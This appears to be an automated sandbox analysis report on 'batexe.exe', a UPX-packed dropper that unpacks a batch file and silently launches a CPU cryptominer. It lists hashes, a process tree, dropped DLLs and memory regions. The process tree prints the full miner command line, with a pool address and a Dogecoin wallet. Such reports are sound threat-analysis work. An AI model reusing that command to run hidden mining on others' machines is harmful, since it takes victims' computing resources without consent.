73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
11/02/2024, 14:52

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2696	b2e.exe
4812	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4812	cpuminer-sse2.exe
4812	cpuminer-sse2.exe
4812	cpuminer-sse2.exe
4812	cpuminer-sse2.exe
4812	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3528-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3528 wrote to memory of 2696	3528	batexe.exe	73
PID 3528 wrote to memory of 2696	3528	batexe.exe	73
PID 3528 wrote to memory of 2696	3528	batexe.exe	73
PID 2696 wrote to memory of 1964	2696	b2e.exe	74
PID 2696 wrote to memory of 1964	2696	b2e.exe	74
PID 2696 wrote to memory of 1964	2696	b2e.exe	74
PID 1964 wrote to memory of 4812	1964	cmd.exe	77
PID 1964 wrote to memory of 4812	1964	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3528
- C:\Users\Admin\AppData\Local\Temp\76AD.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\76AD.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\76AD.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7D64.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\76AD.tmp\b2e.exe

Filesize
7.2MB

MD5
ec5df661cda5608f985f2d6ed487bb8e

SHA1
f57ea1cf6b237534817bdb85af8b204813b27262

SHA256
9d13eb3874f37d9522b2f26d1d29fa7e894d5e36a78aada9c14df61eaaee1dcf

SHA512
37ae6822e6cd5ee6a68e7abe23ced30cf0a1b1ef5646311a30bb03bf6096c881b64b00f18d15de2d982bbbf8c15b682dd1a4209bd2df461cdbda0c05f8977a1f

Download Submit
C:\Users\Admin\AppData\Local\Temp\76AD.tmp\b2e.exe

Filesize
3.9MB

MD5
9a99034eda6fbfd94ee3fc215c0d3c50

SHA1
82b8652ab4e665d4a4120a912421d9e68e973970

SHA256
382dfd4d162551b0228027f4c317bd957a4d50889b27b583f42dc60be3c71098

SHA512
ec15784c8048aa377461a4743dd056aded45d125c5309823d726a7eebb7ba66ef6c0295ec98bf3d613641c89b920037f7c0a25ccd44769c126db1b62743d45a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\7D64.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.8MB

MD5
b0412c20fb83e346df76b3f1b9bed5ca

SHA1
a1475bb8a5a027008744434b73a161d64bbb8fd9

SHA256
a514e5c4a27af4ac25ceffa7b4bca873180ba349502467357a83e15bca4d97c7

SHA512
0051757290a68b524fe7799082bc23f449191b9f54b885e22f5384042394ebbdce79b033960ab659ca1a58551fc7c5a6917491a8fcf70c7eae0ac6cf20d2a333

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
192KB

MD5
d73b46cd072058efc54c4b3885f47e13

SHA1
84771c2c4f5736ac08497737cba2a8634d9e9178

SHA256
3f62bb203bdcca4e489401897e0558cf33ad6fe890a9987f90f5c3894b965b34

SHA512
519c91b5b5a82c5a755d7d4295c040cfb6b0f029eb088a6bfc428db11e30d7f954ea6fd6de9b083d1781e1142737ea39572866ab5f669848dff7ef0ce34c79c7

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
536e6e4961f932727cbcfeb0b3fee8d6

SHA1
cb94299c6cfed5f057371abf81f41a51550eeba3

SHA256
b04f4ba1b9647e21eb3d76fe3adf925a3cbee9633292d44d24b50f961d3e578f

SHA512
19a9113ddc6711eb24ceca92a3f84d2cf0365b5f42ef592fbb8209523350fe281855db707be2be270ac37a949048f99a5a78c46e986623bc3b8a66304a3c4c17

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
799d3c24a4a181fef5c81ff448d54ca8

SHA1
4d78bf61e271fee37f496e5b27d98b4003d6f7f1

SHA256
49087555ba33ec28799185c3af8f2fe87c0519ce6b74fbfcd6fee01360cf6d73

SHA512
422485b12dcd6d9cab0fb589f013f98c5b144de14b6e07af756cb0d6970be8b090e44dd143cf0a3d09e50d4f06d9c68a39a1f3c5241b624446fe1e2ee181cae5

Download Submit
memory/2696-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2696-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3528-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4812-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4812-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-42-0x0000000050210000-0x00000000502A8000-memory.dmp

Filesize
608KB

Download
memory/4812-44-0x00000000010B0000-0x0000000002965000-memory.dmp

Filesize
24.7MB

Download
memory/4812-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4812-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4812-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download